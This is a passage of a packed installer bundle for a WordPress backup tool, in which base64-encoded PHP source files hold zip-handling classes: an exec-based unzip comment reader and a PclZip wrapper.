ZSBhcmNoaXZlIGNvbW1lbnQuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCSR6aXBfZmlsZQkJRmlsZW5hbWUgb2YgYXJjaGl2ZSB0byByZXRyaWV2ZSBjb21tZW50IGZyb20uCgkJICoJQHJldHVybgkJYm9vbHxzdHJpbmcJCQkJCWZhbHNlIG9uIGZhaWx1cmUsIFppcCBjb21tZW50IG90aGVyd2lzZS4KCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X2NvbW1lbnQoICR6aXBfZmlsZSApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQoJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9OSVg6CgkJCQkJJHJlc3VsdCA9ICR0aGlzLT5nZXRfY29tbWVudF9saW51eCggJHppcF9maWxlICk7CgkJCQkJYnJlYWs7CgkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfV0lOOgoJCQkJCSRyZXN1bHQgPSAkdGhpcy0+Z2V0X2NvbW1lbnRfd2luZG93cyggJHppcF9maWxlICk7CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCQkKCQkvKglnZXRfY29tbWVudF93aW5kb3dzKCkKCQkgKgkKCQkgKglSZXRyaWV2ZSBhcmNoaXZlIGNvbW1lbnQuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCSR6aXBfZmlsZQkJRmlsZW5hbWUgb2YgYXJjaGl2ZSB0byByZXRyaWV2ZSBjb21tZW50IGZyb20uCgkJICoJQHJldHVybgkJYm9vbHxzdHJpbmcJCQkJCWZhbHNlIG9uIGZhaWx1cmUsIFppcCBjb21tZW50IG90aGVyd2lzZS4KCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X2NvbW1lbnRfd2luZG93cyggJHppcF9maWxlICkgewoJCQoJCQkvLyBUaGlzIHNob3VsZCBuZXZlciBiZSBjYWxsZWQgYnV0IGp1c3QgaW4gY2FzZSByZXR1cm4gZmFsc2Ugc2lsZW50bHkKCQkJcmV0dXJuIGZhbHNlOwoJCQkKCQl9CgkKCQkvKglnZXRfY29tbWVudF9saW51eCgpCgkJICoJCgkJICoJUmV0cmlldmUgYXJjaGl2ZSBjb21tZW50LgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkemlwX2ZpbGUJCUZpbGVuYW1lIG9mIGFyY2hpdmUgdG8gcmV0cmlldmUgY29tbWVudCBmcm9tLgoJCSAqCUByZXR1cm4JCWJvb2x8c3RyaW5nCQkJCQlmYWxzZSBvbiBmYWlsdXJlLCBaaXAgY29tbWVudCBvdGhlcndpc2UuCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9jb21tZW50X2xpbnV4KCAkemlwX2ZpbGUgKSB7CgoJCQkkb3V0cHV0ID0gYXJyYXkoKTsKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkkY29tbWVudCA9ICIiOwoJCQkkemlwcGF0aCA9ICcnOwoJCQkkY29tbWFuZCA9ICcnOwoJCQkKCQkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICdleGVjJyApICkgewoJCQkKCQkJCS8vIEdldCB0aGUgY29tbWFuZCBwYXRoIGZvciB0aGUgdW56aXAgY29tbWFuZCAtIHNob3VsZCByZXR1cm4gYSB0cmltbWVkIHN0cmluZwoJCQkJJHppcHBhdGggPSAkdGhpcy0+Z2V0X2NvbW1hbmRfcGF0aCggc2VsZjo6Q09NTUFORF9VTlpJUF9QQVRIICk7CgkJCQkKCQkJCS8vIERldGVybWluZSBpZiB3ZSBhcmUgdXNpbmcgYW4gYWJzb2x1dGUgcGF0aAoJCQkJaWYgKCAhZW1wdHkgKCAkemlwcGF0aCApICkgewoJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1VzaW5nIGFic29sdXRlIHVuemlwIHBhdGg6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkemlwcGF0aCApOwoJCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyBBZGQgdGhlIHRyYWlsaW5nIHNsYXNoIGlmIHJlcXVpcmVkCgkJCQkkY29tbWFuZCA9ICR0aGlzLT5zbGFzaGlmeSggJHppcHBhdGggKSAuICd1bnppcCc7CQoKCQkJCS8vIFdlIGV4cGVjdCB0d28gbGluZXMgb2Ygb3V0cHV0IC0gdGhlIGZpcnN0IHNocHVsZCBiZSB0aGUgYXJjaGl2ZSBuYW1lIGFuZCB0aGUgc2Vjb25kIGNvbW1lbnQgaWYgcHJlc2VudAoJCQkJJGNvbW1hbmQgLj0gIiAteiAneyR6aXBfZmlsZX0nIjsKCQkJCQoJCQkJQGV4ZWMoICRjb21tYW5kLCAkb3V0cHV0LCAkZXhpdF9jb2RlKTsKCQkJCQoJCQkJLy8gTm90ZTogd2UgZG9uJ3Qgb3BlbiB0aGUgZmlsZSBhbmQgdGhlbiBkbyBzdHVmZiBidXQgaXQncyBhbGwgZG9uZSBpbiBvbmUgYWN0aW9uCgkJCQkvLyBzbyB3ZSBuZWVkIHRvIGludGVycHJldCB0aGUgcmV0dXJuIGNvZGUgdG8gZGVkaWRlIHdoYXQgdG8gZG8KCQkJCXN3aXRjaCAoIChpbnQpICRleGl0X2NvZGUgKSB7CgkJCQkJY2FzZSAwOgoJCQkJCQkvLyBIYW5kbGVkIGFyY2hpdmUgYW5kIGFwcGFyZW50bHkgZ290IGEgY29tbWVudCBzbyB0cnkgYW5kIHByb2Nlc3MgaXQKCQkJCQkJCgkJCQkJCS8vIFNob3VsZCBiZSBvbmUgZmlsZSBwZXIgbGluZSwgbm8gbW9yZSBubyBsZXNzCgkJCQkJCSRsaW5lX2NvdW50ID0gc2l6ZW9mKCAkb3V0cHV0ICk7CgkJCQkJCQoJCQkJCQkvLyBNdXN0IGhhdmUgYXQgbGVhc3QgMiBsaW5lcyBmb3IgdGhlcmUgdG8gYmUgYSBub24tZW1wdHkgY29tbWVudAoJCQkJCQlpZiAoICRsaW5lX2NvdW50ID4gMSApIHsKCQkJCQkJCgkJCQkJCQkvLyBTaW1wbGUgY3JpdGVyaWEgZm9yIG5vdyAtIGp1c3QgdGFrZSB0aGUgZmluYWwgbGluZQoJCQkJCQkJLy8gTm90ZSB0aGF0IGlmIHRoZXJlIGlzIG5vIGNvbW1lbnQgdGhpcyBpcyBzdGlsbCB2YWxpZCBhcyBhbiBlbXB0eSBjb21tZW50CgkJCQkJCQkvLyBzbyB3ZSBkb24ndCB0cmVhdCB0aGlzIGFzIGFuIGVycm9yCgkJCQkJCQkvLyRjb21tZW50ID0gJG91dHB1dFsgJGxpbmVfY291bnQgLSAxXTsKCQkJCQkJCXVuc2V0KCAkb3V0cHV0WzBdICk7CgkJCQkJCQkkY29tbWVudCA9IGltcGxvZGUoICcnLCAkb3V0cHV0ICk7CgkJCQkJCQoJCQkJCQl9CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ2V4ZWMgKHVuemlwKSByZXRyaWV2ZWQgY29tbWVudCBpbiBmaWxlICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUgKSApOwoJCQkJCQkJCgkJCQkJCSRyZXN1bHQgPSAkY29tbWVudDsKCQkJCQkJYnJlYWs7CgoJCQkJCWRlZmF1bHQ6CgkJCQkJCS8vIEZvciBub3cgbGV0J3MganVzdCBwcmludCB0aGUgZXJyb3IgY29kZSBhbmQgZHJvcCB0aHJvdWdoCgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkZXhpdF9jb2RlOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdleGVjICh1bnppcCkgZmFpbGVkIHRvIG9wZW4vcHJvY2VzcyBnZXQgY29tbWVudCBpbiBmaWxlICUxJHMgLSBFcnJvciBJbmZvOiAlMiRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgoJCQkJCQkvLyBSZXR1cm4gYW4gZXJyb3IgY29kZSBhbmQgYSBkZXNjcmlwdGlvbiAtIHRoaXMgbmVlZHMgdG8gYmUgaGFuZGxlZCBtb3JlIGdlbmVyaWNhbGx5CgkJCQkJCS8vJHJlc3VsdCA9IGFycmF5KCAxLCAiVW5hYmxlIHRvIGdldCBhcmNoaXZlIGNvbnRlbnRzIiApOwoJCQkJCQkvLyBDdXJyZW50bHkgYXMgd2UgYXJlIHJldHVybmluZyBhIHN0cmluZyBhcyBhIHZhbGlkIHJlc3VsdCB3ZSBqdXN0IHJldHVybiBmYWxzZSBvbiBmYWlsdXJlCgkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCX0KCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCBleGVjIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBmdW5jdGlvbgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnZXhlYyBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgZXhlYyBmdW5jdGlvbiBub24tZXhpc3RlbnQnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgoJCQkJLy8gUmV0dXJuIGFuIGVycm9yIGNvZGUgYW5kIGEgZGVzY3JpcHRpb24gLSB0aGlzIG5lZWRzIHRvIGJlIGhhbmRsZWQgbW9yZSBnZW5lcmljYWxseQoJCQkJLy8kcmVzdWx0ID0gYXJyYXkoIDEsICJDbGFzcyBub3QgYXZhaWxhYmxlIHRvIG1hdGNoIG1ldGhvZCIgKTsKCQkJCS8vIEN1cnJlbnRseSBhcyB3ZSBhcmUgcmV0dXJuaW5nIGEgc3RyaW5nIGFzIGEgdmFsaWQgcmVzdWx0IHdlIGp1c3QgcmV0dXJuIGZhbHNlIG9uIGZhaWx1cmUKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkKCQl9CgkJCgl9IC8vIGVuZCBwbHVnaW5idWRkeV96YnppcGV4ZWMgY2xhc3MuCQoJCn0K
###PACKDATA,FILE_END,/lib/zipbuddy/zbzipexec.php,importbuddy/lib/zipbuddy/zbzipexec.php
###PACKDATA,FILE_START,/lib/zipbuddy/zbzippclzip.php,importbuddy/lib/zipbuddy/zbzippclzip.php
PD9waHAKLyoqCiAqCXBsdWdpbmJ1ZGR5X3piemlwcGNsemlwIENsYXNzCiAqCiAqICBFeHRlbmRzIHRoZSB6aXAgY2FwYWJpbGl0eSBjb3JlIGNsYXNzIHdpdGggcGNsemlwIHNwZWNpZmljIGNhcGFiaWxpdHkKICoJCiAqCVZlcnNpb246IDEuMC4wCiAqCUF1dGhvcjoKICoJQXV0aG9yIFVSSToKICoKICoJQHBhcmFtCQkkcGFyZW50CQlvYmplY3QJCU9wdGlvbmFsIHBhcmVudCBvYmplY3Qgd2hpY2ggY2FuIHByb3ZpZGUgZnVuY3Rpb25zIGZvciByZXBvcnRpbmcsIGV0Yy4KICoJQHJldHVybgkJbnVsbAogKgogKi8KaWYgKCAhY2xhc3NfZXhpc3RzKCAicGx1Z2luYnVkZHlfemJ6aXBwY2x6aXAiICkgKSB7CgoJLyoqCgkgKglwbHVnaW5idWRkeV9QY2xaaXAgQ2xhc3MKCSAqCgkgKglXcmFwcGVyIGZvciBQY2xaaXAgdG8gZW5jYXBzdWxhdGUgdGhlIHByb2Nlc3Mgb2YgbG9hZGluZyB0aGUgUGNsWmlwIGxpYnJhcnkgKGlmIG5vdAoJICoJYWxyZWFkeSBsb2FkZWQsIHdoaWNoIGl0IHNob3VsZG4ndCBiZSBnZW5lcmFsbHkpIGFuZCBhbHNvIHN1cnJvdW5kaW5nIG1ldGhvZCBjYWxscwoJICoJd2l0aCB0aGUgdW5wbGVhc2FudCB3b3JrYXJvdW5kIGZvciB0aGUgbWJzdHJpbmcgaXNzdWUgd2hlcmUgdGhpbmdzIG1heSBmYWlsIGJlY2F1c2UKCSAqCVBjbFppcCBpcyB1c2luZyBzdHJpbmcgZnVuY3Rpb25zIHRvIHByb2Nlc3MgYmluYXJ5IGRhdGEgYW5kIGlmIHRoZSBzdHJpbmcgZnVuY3Rpb25zCgkgKglhcmUgb3ZlcmxvYWRlZCB3aXRoIHRoZSBtdWx0aS1ieXRlIHZlcnNpb25zIHRoZSBwcm9jZXNzaW5nIGNhbiAocHJvYmFibHkgd2lsbCkgZmFpbC4KCSAqCgkgKglAcGFyYW0Jc3RyaW5nCSR6aXBfZmlsZW5hbWUJVGhlIG5hbWUgb2YgdGhlIHppcCBmaWxlIHRoYXQgd2lsbCBiZSBtYW5hZ2VkCgkgKiAJQHBhcmFtCWJvb2wJJGxvYWRfb25seQkJVHJ1ZSwgb25seSBsb2FkIHRoZSBwY2x6aXAgbGlicmFyeQoJICoJQHJldHVybgludWxsCgkgKgoJICovCgljbGFzcyBwbHVnaW5idWRkeV9QY2xaaXAgewoKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgY3JlYXRlZCBQY2xaaXAgb2JqZWN0IGlmIGl0IGNhbiBiZSBjcmVhdGVkCiAgICAgICAgICogCiAgICAgICAgICogQHZhciAkX3phIAlvYmplY3QKICAgICAgICAgKi8KCQlwcml2YXRlICRfemEgPSBudWxsOwoJCQoJCS8qKgoJCSAqCV9fY29uc3RydWN0KCkKCQkgKgkKCQkgKglEZWZhdWx0IGNvbnN0cnVjdG9yLgoJCSAqCVRoaXMgaXMgdXNlZCB0byB0cnkgYW5kIGxvYWQgdGhlIFBjbFppcCBsaWJyYXJ5IGFuZCB0aGVuIGNyZWF0ZSBhbiBpbnN0YW5jZSBvZgoJCSAqCWFuIGFyY2hpdmUgd2l0aCB0aGF0LiBJZiB0aGUgbGlicmFyeSBjYW5ub3QgYmUgbWFkZSBhdmFpbGFibGUgdGhlbiBhbiBleGNlcHRpb24KCQkgKglpcyB0aHJvd24gYW5kIHRoYXQgaXMgaGFuZGxlZCBieSB0aGUgY2FsbGVyLgoJCSAqIAlUaGUgJGxvYWRfb25seSBwYXJhbWV0ZXIgcHJvdmlkZXMgdG8gb3B0aW9uIHRvIG9ubHkgbG9hZCB0aGUgcGNsemlwIGxpYnJhcnkKCQkgKiAJd2hpY2ggbWF5IGJlIHJlcXVpcmVkIHRvIGJlIGFibGUgdG8gdXNlIGRlZmluZWQgY29uc3RhbnRzIGJlZm9yZSB3ZSBhcmUgcmVhZHkKCQkgKiAJdG8gYWN0dWFsbHkgY3JlYXRlIGEgemlwIGZpbGUuIElmIGNhbGxlZCB3aXRoIHRoaXMgcGFyYW1ldGVyIHRydWUgdGhlbiB0aGUKCQkgKiAJdmFsdWUgb2YgdGhlICR6aXBfZmlsZW5hbWUgcGFyYW1ldGVyIGlzIGlycmVsZXZhbnQuCgkJICoJTm90ZTogUGNsWmlwIG5lZWRzIGEgdGVtcG9yYXJ5IGRpcmVjdG9yeSB0byB1c2UgZm9yIHRlbXBvcmFyeSBmaWxlcyBhbmQgdGhpcyBtdXN0CgkJICoJYmUgZGVmaW5lZCBhcyBQQ0xaSVBfVEVNUE9SQVJZX0RJUkVDVE9SWSBjb25zdGFudCBfYmVmb3JlXyBQY2xaaXAgY2xhc3MgbGlicmFyeQoJCSAqCWlzIGxvYWRlZCBiZWNhdXNlIGxvYWRpbmcgdGhlIGxpYnJhcnkgbG9ja3MgaW4gdGhlIHZhbHVlIG9mIHRoYXQgY29uc3RhbnQuIE91cgoJCSAqCWNob2ljZSBpcyB0byB1c2UgdGhlIGdldF90ZW1wX2RpcigpIGZ1bmN0aW9uIHRvIHByb3ZpZGUgYSB2YWxpZC93cml0YWJsZSBkaXJlY3RvcnkKCQkgKglhbmQgd2UgYXJlIG5vdCBhbGxvd2luZyB0aGUgY2FsbGVyIHRvIG92ZXJyaWRlIHRoaXMgYXMgaXQganVzdCBnZXRzIHRvbyBjb21wbGljYXRlZC4KCQkgKglCb3RoIFdvcmRQcmVzcyBhbmQgaW1wb3J0YnVkZHkgKHRocm91Z2ggdGhlIHN0YW5kYWxvbmUgcHJlbG9hZGVyKSBwcm92aWRlIGEgZ2V0X3RlbXBfZGlyKCkKCQkgKglmdW5jdGlvbiB0aGF0IF9zaG91bGRfIGJlIGFibGUgdG8gcHJvdmlkZSBhIHZhbGlkL3dyaXRhYmxlIGRpcmVjdG9yeSBvbmUgd2F5IG9yIGFub3RoZXIKCQkgKgkoZXZlbiBpZiBpdCByZXF1aXJlcyB0aGUgdXNlciB0byBkbyBzb21lIGNvbmZpZ3VyYXRpb24pIHNvIHRoaXMgaXMgdGhlIGJlc3QgYXBwcm9hY2gKCQkgKgl0byBkZWNvdXBsZSBQY2xaaXAgZnJvbSBhbnkgYXBwbGljYXRpb24gZnVuY3Rpb25hbGl0eS4KCQkgKglOb3RlOiBXZSBoYXZlIG9uZSBwb3NzaWJsZSBpc3N1ZSB3aXRoIHRoaXMgaW4gdGhhdCBzb21ldGhpbmcgZWxzZSBtaWdodCBkZWZpbmUKCQkgKglQQ0xaSVBfVEVNUE9SQVJZX0RJUiBiZWZvcmUgd2UgZ2V0IHRoZSBjaGFuY2UgYW5kIHRoZSBkaXJlY3RvcnkgdGh1cyBkZWZpbmVkIG1heSBub3QKCQkgKgliZSB2YWxpZC93cml0YWJsZSAtIHVuZm9ydHVuYXRlbHkgd2UgY25ub3QgZG8gYW55dGhpbmcgYWJvdXQgdGhhdCBvdGhlciB0aGFuIGZsYWcgdXAKCQkgKgl0aGUgcG9zc2liaWxpdHkgYXMgYSB0cm91Ymxlc2hvb3RpbmcgaGludC4KCQkgKglUT0RPOiBDb25zaWRlciBoYXZpbmcgYSAic3VwcHJlc3Mgd2FybmluZ3MiIHBhcmFtZXRlciB0byBkZXRlcm1pbmUgd2hldGhlciBtZXRob2RzCgkJICoJc2hvdWxkIGJlIGludm9rZWQgd2l0aCB3YXJuaW5ncyBzdXBwcmVzc2VkIG9yIG5vdC4gRm9yIGlzX2F2YWlsYWJsZSgpIHVzYWdlIHdlIHdvdWxkCgkJICoJd2FudCB0byBzbyBhcyBub3QgdG8gcG90ZW50aWFsbHkgZmxvb2QgdGhlIFBIUCBlcnJvciBsb2cuIEZvciBvdGhlciBmdW5jdGlvbnMgdGhhdAoJCSAqCWFyZSBub3QgY2FsbGVkIGZyZXF1ZW50bHkgd2UgbWlnaHQgbm90IHdhbnQgdG8gc3VwcHJlc3MgdGhlIHdhcm5pbmdzLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkemlwX2ZpbGVuYW1lCVRoZSBuYW1lIG9mIHRoZSB6aXAgZmlsZSB0aGF0IHdpbGwgYmUgbWFuYWdlZAoJCSAqIAlAcGFyYW0JCWJvb2wJCSRsb2FkX29ubHkJCVRydWUsIG9ubHkgbG9hZCB0aGUgcGNsemlwIGxpYnJhcnkKCQkgKglAcGFyYW0JCW1peGVkCQkkdGVtcGRpcgkJU3RyaW5nLCB0ZW1wb3JhcnkgZGlyZWN0b3J5IHRvIHVzZSAobnVzdCBleGlzdCBhbmQgYmUgdXN1YWJsZSksIG51bGwgZm9yIGRlcml2ZQoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCggJHppcF9maWxlbmFtZSwgJGxvYWRfb25seSA9IGZhbHNlLCAkdG1wZGlyID0gbnVsbCApIHsKCQkJCgkJCS8vIFJlbWVtYmVyIGlmIHdlIGhhdmUgbG9nZ2VkIHRoZSBwY2x6aXBfdGVtcG9yYXJ5X2RpciB2YWx1ZSAtIHRoaXMgc3RvcHMKCQkJLy8gdXMgcmVwZWF0ZWRseSBsb2dnaW5nIGlmIF93ZV8gbG9hZGVkIHBjbHppcCBvciBhZnRlciB0aGUgZmlyc3QgdGltZSB3ZQoJCQkvLyBsb2cgdGhlIHBjbHppcF90ZW1wb3JhcnlfZGlyIHZhbHVlIGJlY2F1c2Ugc29tZXRoaW5nIGVsc2UgbG9hZGVkIHBjbHppcAoJCQlzdGF0aWMgJGxvZ2dlZF90ZW1wZGlyID0gZmFsc2U7CgkJCgkJCS8vIFRoZSBQY2xaaXAgY2xhc3MgaGFzIHRvIGJlIGF2YWlsYWJsZSBmb3IgdXMgc28gbGV0J3MgaGF2ZSBhIGdvCgkJCS8vIE5vdGU6IGl0IGlzIG5vdCByZXF1aXJlZCBiZWNhdXNlIG5vdGhpbmcgd2lsbCBicmVhayB3aXRob3V0IGl0IGJ1dCB0aGUgbWV0aG9kIHdpbGwgCgkJCS8vIHNpbXBseSBub3QgYmUgYXZhaWxhYmxlCgkJCS8vIFRoaXMgbWF5IHNlZW0gbGFib3Jpb3VzIGJ1dCBpdCdzIHJvYnVzdCBhZ2FpbnN0IGluY2x1ZGVfb25jZSBub3QgcGxheWluZyBuaWNlIGlmIHRoZQoJCQkvLyBjbGFzcyBpcyBhbHJlYWR5IGluY2x1ZGVkIGFuZCB0cnlpbmcgdG8gaW5jbHVkZSBpdCBhZ2FpbgoJCQlpZiAoICFAY2xhc3NfZXhpc3RzKCAnUGNsWmlwJywgZmFsc2UgKSApIHsKCQkJCgkJCQkkcG9zc2libGVzID0gYXJyYXkoIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvY2xhc3MtcGNsemlwLnBocCcsIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvcGNsemlwL3BjbHppcC5waHAnICk7CgkJCQkKCQkJCWZvcmVhY2ggKCAkcG9zc2libGVzIGFzICRwb3NzaWJsZSkgewoJCQkJCgkJCQkJaWYgKCBAaXNfcmVhZGFibGUoICRwb3NzaWJsZSApICkgewoJCQkJCQoJCQkJCQkvLyBGb3VuZCBvbmUgdGhhdCBzaG91bGQgYmUgbG9hZGFibGUgc28gdHJ5IGl0IGFuZCB0aGVuIGJyZWFrIG91dAoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdQQ0xaaXAgY2xhc3Mgbm90IGZvdW5kLiBBdHRlbXB0aW5nIHRvIGxvYWQgZnJvbSBgJyAuICRwb3NzaWJsZSAuICdgLicgKTsKCgkJCQkJCS8vIFdlIGFyZSBnb2luZyB0byBsb2FkIHNvIGNoZWNrIGlmIHBjbHppcF90ZW1wb3JhcnlfZGlyIGlzIGFscmVhZHkKCQkJCQkJLy8gZGVmaW5lZCBhbmQgaWYgaXQgaXMgd2UgaGF2ZSB0byB3YXJuIGJlY2F1c2UgaXQgKHByb2JhYmx5KSB3YXNuJ3QKCQkJCQkJLy8gc2V0IGJ5IHVzCgkJCQkJCWlmICggZGVmaW5lZCggJ1BDTFpJUF9URU1QT1JBUllfRElSJyApICkgewoJCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1BDTFpJUF9URU1QT1JBUllfRElSIGFscmVhZHkgZGVmaW5lZCAoMSkgLSBtYXkgY2F1c2UgcHJvYmxlbXMgaWYgdGhpcyBpcyBub3QgYXZhaWxhYmxlOiAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJ2AnIC4gUENMWklQX1RFTVBPUkFSWV9ESVIgLiAnYCcpOwoJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQoJCQkJCQkJJHRlbXBkaXIgPSAoIGlzX3N0cmluZyggJHRtcGRpciApICkgPyAkdG1wZGlyIDogZ2V0X3RlbXBfZGlyKCkgOwoJCQkJCQkKCQkJCQkJCWRlZmluZSggJ1BDTFpJUF9URU1QT1JBUllfRElSJywgJHRlbXBkaXIgKTsKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1BDTFpJUF9URU1QT1JBUllfRElSIGRlZmluZWQ6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnYCcgLiBQQ0xaSVBfVEVNUE9SQVJZX0RJUiAuICdgJyk7CgkJCQkJCQkKCQkJCQkJfQoJCQkJCQkKCQkJCQkJLy8gVGhpcyBzdG9wcyB1cyBsb2dnaW5nIGFnYWluIG9uIHJlcGVhdGVkIHVzZXMKCQkJCQkJJGxvZ2dlZF90ZW1wZGlyID0gdHJ1ZTsKCgkJCQkJCUBpbmNsdWRlX29uY2UoICRwb3NzaWJsZSApOwoJCQkJCQlicmVhazsKCQkJCQkJCQkJCQoJCQkJCX0gCgkJCQkKCQkJCX0KCgkJCX0gZWxzZSB7CgkJCQkKCQkJCS8vIFRoZSBjbGFzcyBhbHJlYWR5IGV4aXN0cyBzbyB3ZSBtaWdodCBoYXZlIGxvYWRlZCBpdCBvciBzb21ldGhpbmcKCQkJCS8vIGVsc2UgbWlnaHQgaGF2ZSBsb2FkZWQgaXQuIFdlJ2xsIGxvZyBQQ0xaSVBfVEVNUE9SQVJZX0RJUiB1bmxlc3MKCQkJCS8vIHdlIGFscmVhZHkgbG9nZ2VkIGl0IHdoaWNoIHdlIHdvdWxkIGhhdmUgZG9uZSBpZiB3ZSBsb2FkZWQgcGNsemlwCgkJCQlpZiAoIGRlZmluZWQoICdQQ0xaSVBfVEVNUE9SQVJZX0RJUicgKSAmJiAoIGZhbHNlID09PSAkbG9nZ2VkX3RlbXBkaXIgKSApIHsKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdQQ0xaSVBfVEVNUE9SQVJZX0RJUiBhbHJlYWR5IGRlZmluZWQgKDIpIC0gbWF5IGNhdXNlIHByb2JsZW1zIGlmIHRoaXMgaXMgbm90IGF2YWlsYWJsZTogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICdgJyAuIFBDTFpJUF9URU1QT1JBUllfRElSIC4gJ2AnKTsKCgkJCQkJLy8gTm93IHdlIGxvZ2dlZCBpdCBtYWtlIHN1cmUgd2UgZG9uJ3Qga2VlcCBkb2luZyBzbwoJCQkJCSRsb2dnZWRfdGVtcGRpciA9IHRydWU7CgoJCQkJfQoKCQkJfQoJCQkKCQkJLy8gQnkgbm93IFBjbFppcCBfc2hvdWxkXyBiZSBhdmFpbGFibGUgc28gbGV0J3Mgc2VlLi4uCgkJCWlmICggQGNsYXNzX2V4aXN0cyggJ1BjbFppcCcsIGZhbHNlICkgKSB7CgkJCQoJCQkJLy8gSXQncyBhdmFpbGFibGUgc28gY3JlYXRlIHRoZSBwcml2YXRlIGluc3RhbmNlIGlmIHJlcXVpcmVkCgkJCQlpZiAoIGZhbHNlID09PSAkbG9hZF9vbmx5ICkgewoJCQkJCQoJCQkJCSR0aGlzLT5femEgPSBuZXcgUGNsWmlwKCAkemlwX2ZpbGVuYW1lICk7CgkJCQkJCgkJCQl9CgkJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQkvLyBOb3QgYXZhaWxhYmxlIHNvIHRocm93IHRoZSBleGNlcHRpb24gZm9yIHRoZSBjYWxsZXIgdG8gaGFuZGxlCgkJCQl0aHJvdyBuZXcgRXhjZXB0aW9uKCAnUGNsWmlwIGNsYXNzIGRvZXMgbm90IGV4aXN0LicgKTsKCQkJCgkJCX0KCQkJCgkJCXJldHVybjsKCQkKCQl9CgkJCgkJLyoqCgkJICoJX19kZXN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBkZXN0cnVjdG9yLgoJCSAqCQoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2Rlc3RydWN0KCkgewoJCQoJCQlpZiAoIG51bGwgIT0gJHRoaXMtPl96YSApIHsgdW5zZXQgKCAkdGhpcy0+X3phICk7IH0KCQkJCgkJCXJldHVybjsKCQkKCQl9CgkJCgkJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkvLyBGdW5jdGlvbiA6CgkJLy8gICBhZGQoJHBfZmlsZWxpc3QsICRwX2FkZF9kaXI9IiIsICRwX3JlbW92ZV9kaXI9IiIpCgkJLy8gICBhZGQoJHBfZmlsZWxpc3QsICRwX29wdGlvbiwgJHBfb3B0aW9uX3ZhbHVlLCAuLi4pCgkJLy8gRGVzY3JpcHRpb24gOgoJCS8vICAgVGhpcyBtZXRob2Qgc3VwcG9ydHMgdHdvIHN5bm9wc2lzLiBUaGUgZmlyc3Qgb25lIGlzIGhpc3RvcmljYWwuCgkJLy8gICBUaGlzIG1ldGhvZHMgYWRkIHRoZSBsaXN0IG9mIGZpbGVzIGluIGFuIGV4aXN0aW5nIGFyY2hpdmUuCgkJLy8gICBJZiBhIGZpbGUgd2l0aCB0aGUgc2FtZSBuYW1lIGFscmVhZHkgZXhpc3RzLCBpdCBpcyBhZGRlZCBhdCB0aGUgZW5kIG9mIHRoZQoJCS8vICAgYXJjaGl2ZSwgdGhlIGZpcnN0IG9uZSBpcyBzdGlsbCBwcmVzZW50LgoJCS8vICAgSWYgdGhlIGFyY2